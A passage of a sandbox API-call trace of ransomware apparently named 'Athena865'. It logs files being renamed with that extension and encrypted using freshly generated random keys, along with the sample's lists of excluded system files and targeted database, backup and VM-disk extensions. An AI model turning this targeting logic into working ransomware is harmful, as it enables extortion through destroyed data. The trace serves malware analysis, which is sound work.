[0107.873] lstrcmpiW (lpString1="MS.PNG", lpString2="boot") returned 1 [0107.873] lstrcmpiW (lpString1="MS.PNG", lpString2="ids.txt") returned 1 [0107.873] lstrcmpiW (lpString1="MS.PNG", lpString2="ntuser.dat") returned -1 [0107.873] lstrcmpiW (lpString1="MS.PNG", lpString2="perflogs") returned -1 [0107.873] lstrcmpiW (lpString1="MS.PNG", lpString2="MSBuild") returned -1 [0107.873] lstrlenW (lpString="MS.PNG") returned 6 [0107.873] lstrcpyW (in: lpString1=0x241e8b6, lpString2="MS.PNG" | out: lpString1="MS.PNG") returned="MS.PNG" [0107.873] lstrlenW (lpString="MS.PNG") returned 6 [0107.873] lstrlenW (lpString="Athena865") returned 9 [0107.873] lstrlenW (lpString=".dll") returned 4 [0107.873] lstrcmpiW (lpString1="MS.PNG", lpString2=".dll") returned 1 [0107.873] lstrlenW (lpString=".lnk") returned 4 [0107.873] lstrcmpiW (lpString1="MS.PNG", lpString2=".lnk") returned 1 [0107.873] lstrlenW (lpString=".ini") returned 4 [0107.873] lstrcmpiW (lpString1="MS.PNG", lpString2=".ini") returned 1 [0107.873] lstrlenW (lpString=".sys") returned 4 [0107.874] lstrcmpiW (lpString1="MS.PNG", lpString2=".sys") returned 1 [0107.874] lstrlenW (lpString="MS.PNG") returned 6 [0107.874] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.PNG.Athena865") returned 71 [0107.874] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\ms.png"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.PNG.Athena865" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\ms.png.athena865"), dwFlags=0x1) returned 1 [0107.875] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.PNG.Athena865" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\ms.png.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0107.875] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=1682) returned 1 [0107.875] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0107.875] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x538d20 [0107.875] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x519d50 [0107.875] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519cc8) returned 1 [0107.876] CryptGenRandom (in: hProv=0x519cc8, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0107.876] CryptReleaseContext (hProv=0x519cc8, dwFlags=0x0) returned 1 [0107.876] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x9a0, lpName=0x0) returned 0x17c [0107.878] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x9a0) returned 0x100000 [0107.884] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519cc8) returned 1 [0107.884] CryptGenRandom (in: hProv=0x519cc8, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0107.884] CryptReleaseContext (hProv=0x519cc8, dwFlags=0x0) returned 1 [0107.884] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540cd0 [0107.884] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540cd0 | out: hHeap=0x4f0000) returned 1 [0107.885] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x54dd40 [0107.885] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0107.885] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54dd40 | out: hHeap=0x4f0000) returned 1 [0107.885] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0107.885] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x54dd40 [0107.885] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0107.885] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54dd40 | out: hHeap=0x4f0000) returned 1 [0107.885] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0107.885] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0107.885] CloseHandle (hObject=0x17c) returned 1 [0107.885] CloseHandle (hObject=0x154) returned 1 [0107.885] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x538d20 | out: hHeap=0x4f0000) returned 1 [0107.885] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x519d50 | out: hHeap=0x4f0000) returned 1 [0107.885] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0107.885] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x916cf600, ftCreationTime.dwHighDateTime=0x1bcabec, ftLastAccessTime.dwLowDateTime=0xeee42ef0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x916cf600, ftLastWriteTime.dwHighDateTime=0x1bcabec, nFileSizeHigh=0x0, nFileSizeLow=0x566, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="MS.WPG", cAlternateFileName="")) returned 1 [0107.886] lstrcmpiW (lpString1="MS.WPG", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0107.886] lstrcmpiW (lpString1="MS.WPG", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0107.886] lstrcmpiW (lpString1="MS.WPG", lpString2=".") returned 1 [0107.886] lstrcmpiW (lpString1="MS.WPG", lpString2="..") returned 1 [0107.886] lstrcmpiW (lpString1="MS.WPG", lpString2="windows") returned -1 [0107.886] lstrcmpiW (lpString1="MS.WPG", lpString2="bootmgr") returned 1 [0107.886] lstrcmpiW (lpString1="MS.WPG", lpString2="temp") returned -1 [0107.886] lstrcmpiW (lpString1="MS.WPG", lpString2="pagefile.sys") returned -1 [0107.886] lstrcmpiW (lpString1="MS.WPG", lpString2="boot") returned 1 [0107.886] lstrcmpiW (lpString1="MS.WPG", lpString2="ids.txt") returned 1 [0107.886] lstrcmpiW (lpString1="MS.WPG", lpString2="ntuser.dat") returned -1 [0107.886] lstrcmpiW (lpString1="MS.WPG", lpString2="perflogs") returned -1 [0107.886] lstrcmpiW (lpString1="MS.WPG", lpString2="MSBuild") returned -1 [0107.886] lstrlenW (lpString="MS.WPG") returned 6 [0107.886] lstrcpyW (in: lpString1=0x241e8b6, lpString2="MS.WPG" | out: lpString1="MS.WPG") returned="MS.WPG" [0107.886] lstrlenW (lpString="MS.WPG") returned 6 [0107.886] lstrlenW (lpString="Athena865") returned 9 [0107.886] lstrlenW (lpString=".dll") returned 4 [0107.886] lstrcmpiW (lpString1="MS.WPG", lpString2=".dll") returned 1 [0107.886] lstrlenW (lpString=".lnk") returned 4 [0107.886] lstrcmpiW (lpString1="MS.WPG", lpString2=".lnk") returned 1 [0107.886] lstrlenW (lpString=".ini") returned 4 [0107.886] lstrcmpiW (lpString1="MS.WPG", lpString2=".ini") returned 1 [0107.886] lstrlenW (lpString=".sys") returned 4 [0107.886] lstrcmpiW (lpString1="MS.WPG", lpString2=".sys") returned 1 [0107.886] lstrlenW (lpString="MS.WPG") returned 6 [0107.886] lstrlenW (lpString="bak") returned 3 [0107.886] lstrcmpiW (lpString1="WPG", lpString2="bak") returned 1 [0107.886] lstrlenW (lpString="ba_") returned 3 [0107.886] lstrcmpiW (lpString1="WPG", lpString2="ba_") returned 1 [0107.886] lstrlenW (lpString="dbb") returned 3 [0107.886] lstrcmpiW (lpString1="WPG", lpString2="dbb") returned 1 [0107.886] lstrlenW (lpString="vmdk") returned 4 [0107.887] lstrcmpiW (lpString1=".WPG", lpString2="vmdk") returned -1 [0107.887] lstrlenW (lpString="rar") returned 3 [0107.887] lstrcmpiW (lpString1="WPG", lpString2="rar") returned 1 [0107.887] lstrlenW (lpString="zip") returned 3 [0107.887] lstrcmpiW (lpString1="WPG", lpString2="zip") returned -1 [0107.887] lstrlenW (lpString="tgz") returned 3 [0107.887] lstrcmpiW (lpString1="WPG", lpString2="tgz") returned 1 [0107.887] lstrlenW (lpString="vbox") returned 4 [0107.887] lstrcmpiW (lpString1=".WPG", lpString2="vbox") returned -1 [0107.887] lstrlenW (lpString="vdi") returned 3 [0107.887] lstrcmpiW (lpString1="WPG", lpString2="vdi") returned 1 [0107.887] lstrlenW (lpString="vhd") returned 3 [0107.887] lstrcmpiW (lpString1="WPG", lpString2="vhd") returned 1 [0107.887] lstrlenW (lpString="vhdx") returned 4 [0107.887] lstrcmpiW (lpString1=".WPG", lpString2="vhdx") returned -1 [0107.887] lstrlenW (lpString="avhd") returned 4 [0107.887] lstrcmpiW (lpString1=".WPG", lpString2="avhd") returned -1 [0107.887] lstrlenW (lpString="db") returned 2 [0107.887] lstrcmpiW (lpString1="PG", lpString2="db") returned 1 [0107.887] lstrlenW (lpString="db2") returned 3 [0107.887] lstrcmpiW (lpString1="WPG", lpString2="db2") returned 1 [0107.887] lstrlenW (lpString="db3") returned 3 [0107.887] lstrcmpiW (lpString1="WPG", lpString2="db3") returned 1 [0107.887] lstrlenW (lpString="dbf") returned 3 [0107.887] lstrcmpiW (lpString1="WPG", lpString2="dbf") returned 1 [0107.887] lstrlenW (lpString="mdf") returned 3 [0107.887] lstrcmpiW (lpString1="WPG", lpString2="mdf") returned 1 [0107.887] lstrlenW (lpString="mdb") returned 3 [0107.887] lstrcmpiW (lpString1="WPG", lpString2="mdb") returned 1 [0107.887] lstrlenW (lpString="sql") returned 3 [0107.887] lstrcmpiW (lpString1="WPG", lpString2="sql") returned 1 [0107.887] lstrlenW (lpString="sqlite") returned 6 [0107.887] lstrlenW (lpString="sqlite3") returned 7 [0107.887] lstrlenW (lpString="sqlitedb") returned 8 [0107.888] lstrlenW (lpString="xml") returned 3 [0107.888] lstrcmpiW (lpString1="WPG", lpString2="xml") returned -1 [0107.888] lstrlenW (lpString="$er") returned 3 [0107.888] lstrcmpiW (lpString1="WPG", lpString2="$er") returned 1 [0107.888] lstrlenW (lpString="4dd") returned 3 [0107.888] lstrcmpiW (lpString1="WPG", lpString2="4dd") returned 1 [0107.888] lstrlenW (lpString="4dl") returned 3 [0107.888] lstrcmpiW (lpString1="WPG", lpString2="4dl") returned 1 [0107.888] lstrlenW (lpString="^^^") returned 3 [0107.888] lstrcmpiW (lpString1="WPG", lpString2="^^^") returned 1 [0107.888] lstrlenW (lpString="abs") returned 3 [0107.888] lstrcmpiW (lpString1="WPG", lpString2="abs") returned 1 [0107.888] lstrlenW (lpString="abx") returned 3 [0107.888] lstrcmpiW (lpString1="WPG", lpString2="abx") returned 1 [0107.888] lstrlenW (lpString="accdb") returned 5 [0107.888] lstrcmpiW (lpString1="S.WPG", lpString2="accdb") returned 1 [0107.888] lstrlenW (lpString="accdc") returned 5 [0107.888] lstrcmpiW (lpString1="S.WPG", lpString2="accdc") returned 1 [0107.888] lstrlenW (lpString="accde") returned 5 [0107.888] lstrcmpiW (lpString1="S.WPG", lpString2="accde") returned 1 [0107.888] lstrlenW (lpString="accdr") returned 5 [0107.888] lstrcmpiW (lpString1="S.WPG", lpString2="accdr") returned 1 [0107.888] lstrlenW (lpString="accdt") returned 5 [0107.888] lstrcmpiW (lpString1="S.WPG", lpString2="accdt") returned 1 [0107.888] lstrlenW (lpString="accdw") returned 5 [0107.888] lstrcmpiW (lpString1="S.WPG", lpString2="accdw") returned 1 [0107.888] lstrlenW (lpString="accft") returned 5 [0107.888] lstrcmpiW (lpString1="S.WPG", lpString2="accft") returned 1 [0107.888] lstrlenW (lpString="adb") returned 3 [0107.888] lstrcmpiW (lpString1="WPG", lpString2="adb") returned 1 [0107.888] lstrlenW (lpString="adb") returned 3 [0107.888] lstrcmpiW (lpString1="WPG", lpString2="adb") returned 1 [0107.888] lstrlenW (lpString="ade") returned 3 [0107.888] lstrcmpiW (lpString1="WPG", lpString2="ade") returned 1 [0107.889] lstrlenW (lpString="adf") returned 3 [0107.889] lstrcmpiW (lpString1="WPG", lpString2="adf") returned 1 [0107.889] lstrlenW (lpString="adn") returned 3 [0107.889] lstrcmpiW (lpString1="WPG", lpString2="adn") returned 1 [0107.889] lstrlenW (lpString="adp") returned 3 [0107.889] lstrcmpiW (lpString1="WPG", lpString2="adp") returned 1 [0107.889] lstrlenW (lpString="alf") returned 3 [0107.889] lstrcmpiW (lpString1="WPG", lpString2="alf") returned 1 [0107.889] lstrlenW (lpString="ask") returned 3 [0107.889] lstrcmpiW (lpString1="WPG", lpString2="ask") returned 1 [0107.889] lstrlenW (lpString="btr") returned 3 [0107.889] lstrcmpiW (lpString1="WPG", lpString2="btr") returned 1 [0107.889] lstrlenW (lpString="cat") returned 3 [0107.889] lstrcmpiW (lpString1="WPG", lpString2="cat") returned 1 [0107.889] lstrlenW (lpString="cdb") returned 3 [0107.889] lstrcmpiW (lpString1="WPG", lpString2="cdb") returned 1 [0107.889] lstrlenW (lpString="ckp") returned 3 [0107.889] lstrcmpiW (lpString1="WPG", lpString2="ckp") returned 1 [0107.889] lstrlenW (lpString="cma") returned 3 [0107.889] lstrcmpiW (lpString1="WPG", lpString2="cma") returned 1 [0107.889] lstrlenW (lpString="cpd") returned 3 [0107.889] lstrcmpiW (lpString1="WPG", lpString2="cpd") returned 1 [0107.889] lstrlenW (lpString="dacpac") returned 6 [0107.889] lstrlenW (lpString="dad") returned 3 [0107.889] lstrcmpiW (lpString1="WPG", lpString2="dad") returned 1 [0107.889] lstrlenW (lpString="dadiagrams") returned 10 [0107.889] lstrlenW (lpString="daschema") returned 8 [0107.889] lstrlenW (lpString="db-journal") returned 10 [0107.889] lstrlenW (lpString="db-shm") returned 6 [0107.889] lstrlenW (lpString="db-wal") returned 6 [0107.889] lstrlenW (lpString="dbc") returned 3 [0107.889] lstrcmpiW (lpString1="WPG", lpString2="dbc") returned 1 [0107.889] lstrlenW (lpString="dbs") returned 3 [0107.889] lstrcmpiW (lpString1="WPG", lpString2="dbs") returned 1 [0107.890] lstrlenW (lpString="dbt") returned 3 [0107.890] lstrcmpiW (lpString1="WPG", lpString2="dbt") returned 1 [0107.890] lstrlenW (lpString="dbv") returned 3 [0107.890] lstrcmpiW (lpString1="WPG", lpString2="dbv") returned 1 [0107.890] lstrlenW (lpString="dbx") returned 3 [0107.890] lstrcmpiW (lpString1="WPG", lpString2="dbx") returned 1 [0107.890] lstrlenW (lpString="dcb") returned 3 [0107.890] lstrcmpiW (lpString1="WPG", lpString2="dcb") returned 1 [0107.890] lstrlenW (lpString="dct") returned 3 [0107.890] lstrcmpiW (lpString1="WPG", lpString2="dct") returned 1 [0107.890] lstrlenW (lpString="dcx") returned 3 [0107.890] lstrcmpiW (lpString1="WPG", lpString2="dcx") returned 1 [0107.890] lstrlenW (lpString="ddl") returned 3 [0107.890] lstrcmpiW (lpString1="WPG", lpString2="ddl") returned 1 [0107.890] lstrlenW (lpString="dlis") returned 4 [0107.890] lstrcmpiW (lpString1=".WPG", lpString2="dlis") returned -1 [0107.890] lstrlenW (lpString="dp1") returned 3 [0107.890] lstrcmpiW (lpString1="WPG", lpString2="dp1") returned 1 [0107.890] lstrlenW (lpString="dqy") returned 3 [0107.890] lstrcmpiW (lpString1="WPG", lpString2="dqy") returned 1 [0107.890] lstrlenW (lpString="dsk") returned 3 [0107.890] lstrcmpiW (lpString1="WPG", lpString2="dsk") returned 1 [0107.890] lstrlenW (lpString="dsn") returned 3 [0107.890] lstrcmpiW (lpString1="WPG", lpString2="dsn") returned 1 [0107.890] lstrlenW (lpString="dtsx") returned 4 [0107.890] lstrcmpiW (lpString1=".WPG", lpString2="dtsx") returned -1 [0107.890] lstrlenW (lpString="dxl") returned 3 [0107.890] lstrcmpiW (lpString1="WPG", lpString2="dxl") returned 1 [0107.890] lstrlenW (lpString="eco") returned 3 [0107.890] lstrcmpiW (lpString1="WPG", lpString2="eco") returned 1 [0107.890] lstrlenW (lpString="ecx") returned 3 [0107.890] lstrcmpiW (lpString1="WPG", lpString2="ecx") returned 1 [0107.891] lstrlenW (lpString="edb") returned 3 [0107.891] lstrcmpiW (lpString1="WPG", lpString2="edb") returned 1 [0107.891] lstrlenW (lpString="epim") returned 4 [0107.891] lstrcmpiW (lpString1=".WPG", lpString2="epim") returned -1 [0107.891] lstrlenW (lpString="fcd") returned 3 [0107.891] lstrcmpiW (lpString1="WPG", lpString2="fcd") returned 1 [0107.891] lstrlenW (lpString="fdb") returned 3 [0107.891] lstrcmpiW (lpString1="WPG", lpString2="fdb") returned 1 [0107.891] lstrlenW (lpString="fic") returned 3 [0107.891] lstrcmpiW (lpString1="WPG", lpString2="fic") returned 1 [0107.891] lstrlenW (lpString="flexolibrary") returned 12 [0107.891] lstrlenW (lpString="fm5") returned 3 [0107.891] lstrcmpiW (lpString1="WPG", lpString2="fm5") returned 1 [0107.891] lstrlenW (lpString="fmp") returned 3 [0107.891] lstrcmpiW (lpString1="WPG", lpString2="fmp") returned 1 [0107.891] lstrlenW (lpString="fmp12") returned 5 [0107.891] lstrcmpiW (lpString1="S.WPG", lpString2="fmp12") returned 1 [0107.891] lstrlenW (lpString="fmpsl") returned 5 [0107.891] lstrcmpiW (lpString1="S.WPG", lpString2="fmpsl") returned 1 [0107.891] lstrlenW (lpString="fol") returned 3 [0107.891] lstrcmpiW (lpString1="WPG", lpString2="fol") returned 1 [0107.891] lstrlenW (lpString="fp3") returned 3 [0107.891] lstrcmpiW (lpString1="WPG", lpString2="fp3") returned 1 [0107.891] lstrlenW (lpString="fp4") returned 3 [0107.891] lstrcmpiW (lpString1="WPG", lpString2="fp4") returned 1 [0107.891] lstrlenW (lpString="fp5") returned 3 [0107.891] lstrcmpiW (lpString1="WPG", lpString2="fp5") returned 1 [0107.891] lstrlenW (lpString="fp7") returned 3 [0107.891] lstrcmpiW (lpString1="WPG", lpString2="fp7") returned 1 [0107.891] lstrlenW (lpString="fpt") returned 3 [0107.891] lstrcmpiW (lpString1="WPG", lpString2="fpt") returned 1 [0107.891] lstrlenW (lpString="frm") returned 3 [0107.892] lstrcmpiW (lpString1="WPG", lpString2="frm") returned 1 [0107.892] lstrlenW (lpString="gdb") returned 3 [0107.892] lstrcmpiW (lpString1="WPG", lpString2="gdb") returned 1 [0107.892] lstrlenW (lpString="gdb") returned 3 [0107.892] lstrcmpiW (lpString1="WPG", lpString2="gdb") returned 1 [0107.892] lstrlenW (lpString="grdb") returned 4 [0107.892] lstrcmpiW (lpString1=".WPG", lpString2="grdb") returned -1 [0107.892] lstrlenW (lpString="gwi") returned 3 [0107.892] lstrcmpiW (lpString1="WPG", lpString2="gwi") returned 1 [0107.892] lstrlenW (lpString="hdb") returned 3 [0107.892] lstrcmpiW (lpString1="WPG", lpString2="hdb") returned 1 [0107.892] lstrlenW (lpString="his") returned 3 [0107.892] lstrcmpiW (lpString1="WPG", lpString2="his") returned 1 [0107.892] lstrlenW (lpString="ib") returned 2 [0107.892] lstrcmpiW (lpString1="PG", lpString2="ib") returned 1 [0107.892] lstrlenW (lpString="idb") returned 3 [0107.892] lstrcmpiW (lpString1="WPG", lpString2="idb") returned 1 [0107.892] lstrlenW (lpString="ihx") returned 3 [0107.892] lstrcmpiW (lpString1="WPG", lpString2="ihx") returned 1 [0107.892] lstrlenW (lpString="itdb") returned 4 [0107.892] lstrcmpiW (lpString1=".WPG", lpString2="itdb") returned -1 [0107.892] lstrlenW (lpString="itw") returned 3 [0107.892] lstrcmpiW (lpString1="WPG", lpString2="itw") returned 1 [0107.892] lstrlenW (lpString="jet") returned 3 [0107.892] lstrcmpiW (lpString1="WPG", lpString2="jet") returned 1 [0107.892] lstrlenW (lpString="jtx") returned 3 [0107.892] lstrcmpiW (lpString1="WPG", lpString2="jtx") returned 1 [0107.892] lstrlenW (lpString="kdb") returned 3 [0107.892] lstrcmpiW (lpString1="WPG", lpString2="kdb") returned 1 [0107.892] lstrlenW (lpString="kexi") returned 4 [0107.892] lstrcmpiW (lpString1=".WPG", lpString2="kexi") returned -1 [0107.893] lstrlenW (lpString="kexic") returned 5 [0107.893] lstrcmpiW (lpString1="S.WPG", lpString2="kexic") returned 1 [0107.893] lstrlenW (lpString="kexis") returned 5 [0107.893] lstrcmpiW (lpString1="S.WPG", lpString2="kexis") returned 1 [0107.893] lstrlenW (lpString="lgc") returned 3 [0107.893] lstrcmpiW (lpString1="WPG", lpString2="lgc") returned 1 [0107.893] lstrlenW (lpString="lwx") returned 3 [0107.893] lstrcmpiW (lpString1="WPG", lpString2="lwx") returned 1 [0107.893] lstrlenW (lpString="maf") returned 3 [0107.893] lstrcmpiW (lpString1="WPG", lpString2="maf") returned 1 [0107.893] lstrlenW (lpString="maq") returned 3 [0107.893] lstrcmpiW (lpString1="WPG", lpString2="maq") returned 1 [0107.893] lstrlenW (lpString="mar") returned 3 [0107.893] lstrcmpiW (lpString1="WPG", lpString2="mar") returned 1 [0107.893] lstrlenW (lpString="marshal") returned 7 [0107.893] lstrlenW (lpString="mas") returned 3 [0107.893] lstrcmpiW (lpString1="WPG", lpString2="mas") returned 1 [0107.893] lstrlenW (lpString="mav") returned 3 [0107.893] lstrcmpiW (lpString1="WPG", lpString2="mav") returned 1 [0107.893] lstrlenW (lpString="maw") returned 3 [0107.893] lstrcmpiW (lpString1="WPG", lpString2="maw") returned 1 [0107.893] lstrlenW (lpString="mdbhtml") returned 7 [0107.893] lstrlenW (lpString="mdn") returned 3 [0107.893] lstrcmpiW (lpString1="WPG", lpString2="mdn") returned 1 [0107.893] lstrlenW (lpString="mdt") returned 3 [0107.893] lstrcmpiW (lpString1="WPG", lpString2="mdt") returned 1 [0107.893] lstrlenW (lpString="mfd") returned 3 [0107.893] lstrcmpiW (lpString1="WPG", lpString2="mfd") returned 1 [0107.893] lstrlenW (lpString="mpd") returned 3 [0107.893] lstrcmpiW (lpString1="WPG", lpString2="mpd") returned 1 [0107.893] lstrlenW (lpString="mrg") returned 3 [0107.893] lstrcmpiW (lpString1="WPG", lpString2="mrg") returned 1 [0107.893] lstrlenW (lpString="mud") returned 3 [0107.894] lstrcmpiW (lpString1="WPG", lpString2="mud") returned 1 [0107.894] lstrlenW (lpString="mwb") returned 3 [0107.894] lstrcmpiW (lpString1="WPG", lpString2="mwb") returned 1 [0107.894] lstrlenW (lpString="myd") returned 3 [0107.894] lstrcmpiW (lpString1="WPG", lpString2="myd") returned 1 [0107.894] lstrlenW (lpString="ndf") returned 3 [0107.894] lstrcmpiW (lpString1="WPG", lpString2="ndf") returned 1 [0107.894] lstrlenW (lpString="nnt") returned 3 [0107.894] lstrcmpiW (lpString1="WPG", lpString2="nnt") returned 1 [0107.894] lstrlenW (lpString="nrmlib") returned 6 [0107.894] lstrlenW (lpString="ns2") returned 3 [0107.894] lstrcmpiW (lpString1="WPG", lpString2="ns2") returned 1 [0107.894] lstrlenW (lpString="ns3") returned 3 [0107.894] lstrcmpiW (lpString1="WPG", lpString2="ns3") returned 1 [0107.894] lstrlenW (lpString="ns4") returned 3 [0107.894] lstrcmpiW (lpString1="WPG", lpString2="ns4") returned 1 [0107.894] lstrlenW (lpString="nsf") returned 3 [0107.894] lstrcmpiW (lpString1="WPG", lpString2="nsf") returned 1 [0107.894] lstrlenW (lpString="nv") returned 2 [0107.894] lstrcmpiW (lpString1="PG", lpString2="nv") returned 1 [0107.894] lstrlenW (lpString="nv2") returned 3 [0107.894] lstrcmpiW (lpString1="WPG", lpString2="nv2") returned 1 [0107.894] lstrlenW (lpString="nwdb") returned 4 [0107.894] lstrcmpiW (lpString1=".WPG", lpString2="nwdb") returned -1 [0107.894] lstrlenW (lpString="nyf") returned 3 [0107.894] lstrcmpiW (lpString1="WPG", lpString2="nyf") returned 1 [0107.894] lstrlenW (lpString="odb") returned 3 [0107.894] lstrcmpiW (lpString1="WPG", lpString2="odb") returned 1 [0107.894] lstrlenW (lpString="odb") returned 3 [0107.894] lstrcmpiW (lpString1="WPG", lpString2="odb") returned 1 [0107.894] lstrlenW (lpString="oqy") returned 3 [0107.894] lstrcmpiW (lpString1="WPG", lpString2="oqy") returned 1 [0107.894] lstrlenW (lpString="ora") returned 3 [0107.895] lstrcmpiW (lpString1="WPG", lpString2="ora") returned 1 [0107.895] lstrlenW (lpString="orx") returned 3 [0107.895] lstrcmpiW (lpString1="WPG", lpString2="orx") returned 1 [0107.895] lstrlenW (lpString="owc") returned 3 [0107.895] lstrcmpiW (lpString1="WPG", lpString2="owc") returned 1 [0107.895] lstrlenW (lpString="p96") returned 3 [0107.895] lstrcmpiW (lpString1="WPG", lpString2="p96") returned 1 [0107.895] lstrlenW (lpString="p97") returned 3 [0107.895] lstrcmpiW (lpString1="WPG", lpString2="p97") returned 1 [0107.895] lstrlenW (lpString="pan") returned 3 [0107.895] lstrcmpiW (lpString1="WPG", lpString2="pan") returned 1 [0107.895] lstrlenW (lpString="pdb") returned 3 [0107.895] lstrcmpiW (lpString1="WPG", lpString2="pdb") returned 1 [0107.895] lstrlenW (lpString="pdm") returned 3 [0107.895] lstrcmpiW (lpString1="WPG", lpString2="pdm") returned 1 [0107.895] lstrlenW (lpString="pnz") returned 3 [0107.895] lstrcmpiW (lpString1="WPG", lpString2="pnz") returned 1 [0107.895] lstrlenW (lpString="qry") returned 3 [0107.895] lstrcmpiW (lpString1="WPG", lpString2="qry") returned 1 [0107.895] lstrlenW (lpString="qvd") returned 3 [0107.895] lstrcmpiW (lpString1="WPG", lpString2="qvd") returned 1 [0107.895] lstrlenW (lpString="rbf") returned 3 [0107.895] lstrcmpiW (lpString1="WPG", lpString2="rbf") returned 1 [0107.895] lstrlenW (lpString="rctd") returned 4 [0107.895] lstrcmpiW (lpString1=".WPG", lpString2="rctd") returned -1 [0107.895] lstrlenW (lpString="rod") returned 3 [0107.895] lstrcmpiW (lpString1="WPG", lpString2="rod") returned 1 [0107.895] lstrlenW (lpString="rodx") returned 4 [0107.895] lstrcmpiW (lpString1=".WPG", lpString2="rodx") returned -1 [0107.895] lstrlenW (lpString="rpd") returned 3 [0107.895] lstrcmpiW (lpString1="WPG", lpString2="rpd") returned 1 [0107.895] lstrlenW (lpString="rsd") returned 3 [0107.895] lstrcmpiW (lpString1="WPG", lpString2="rsd") returned 1 [0107.895] lstrlenW (lpString="sas7bdat") returned 8 [0107.896] lstrlenW (lpString="sbf") returned 3 [0107.896] lstrcmpiW (lpString1="WPG", lpString2="sbf") returned 1 [0107.896] lstrlenW (lpString="scx") returned 3 [0107.896] lstrcmpiW (lpString1="WPG", lpString2="scx") returned 1 [0107.896] lstrlenW (lpString="sdb") returned 3 [0107.896] lstrcmpiW (lpString1="WPG", lpString2="sdb") returned 1 [0107.896] lstrlenW (lpString="sdc") returned 3 [0107.896] lstrcmpiW (lpString1="WPG", lpString2="sdc") returned 1 [0107.896] lstrlenW (lpString="sdf") returned 3 [0107.896] lstrcmpiW (lpString1="WPG", lpString2="sdf") returned 1 [0107.896] lstrlenW (lpString="sis") returned 3 [0107.896] lstrcmpiW (lpString1="WPG", lpString2="sis") returned 1 [0107.896] lstrlenW (lpString="spq") returned 3 [0107.896] lstrcmpiW (lpString1="WPG", lpString2="spq") returned 1 [0107.896] lstrlenW (lpString="te") returned 2 [0107.896] lstrcmpiW (lpString1="PG", lpString2="te") returned -1 [0107.896] lstrlenW (lpString="teacher") returned 7 [0107.896] lstrlenW (lpString="tmd") returned 3 [0107.896] lstrcmpiW (lpString1="WPG", lpString2="tmd") returned 1 [0107.896] lstrlenW (lpString="tps") returned 3 [0107.896] lstrcmpiW (lpString1="WPG", lpString2="tps") returned 1 [0107.896] lstrlenW (lpString="trc") returned 3 [0107.896] lstrcmpiW (lpString1="WPG", lpString2="trc") returned 1 [0107.896] lstrlenW (lpString="trc") returned 3 [0107.896] lstrcmpiW (lpString1="WPG", lpString2="trc") returned 1 [0107.896] lstrlenW (lpString="trm") returned 3 [0107.896] lstrcmpiW (lpString1="WPG", lpString2="trm") returned 1 [0107.896] lstrlenW (lpString="udb") returned 3 [0107.896] lstrcmpiW (lpString1="WPG", lpString2="udb") returned 1 [0107.896] lstrlenW (lpString="udl") returned 3 [0107.896] lstrcmpiW (lpString1="WPG", lpString2="udl") returned 1 [0107.896] lstrlenW (lpString="usr") returned 3 [0107.896] lstrcmpiW (lpString1="WPG", lpString2="usr") returned 1 [0107.897] lstrlenW (lpString="v12") returned 3 [0107.897] lstrcmpiW (lpString1="WPG", lpString2="v12") returned 1 [0107.897] lstrlenW (lpString="vis") returned 3 [0107.897] 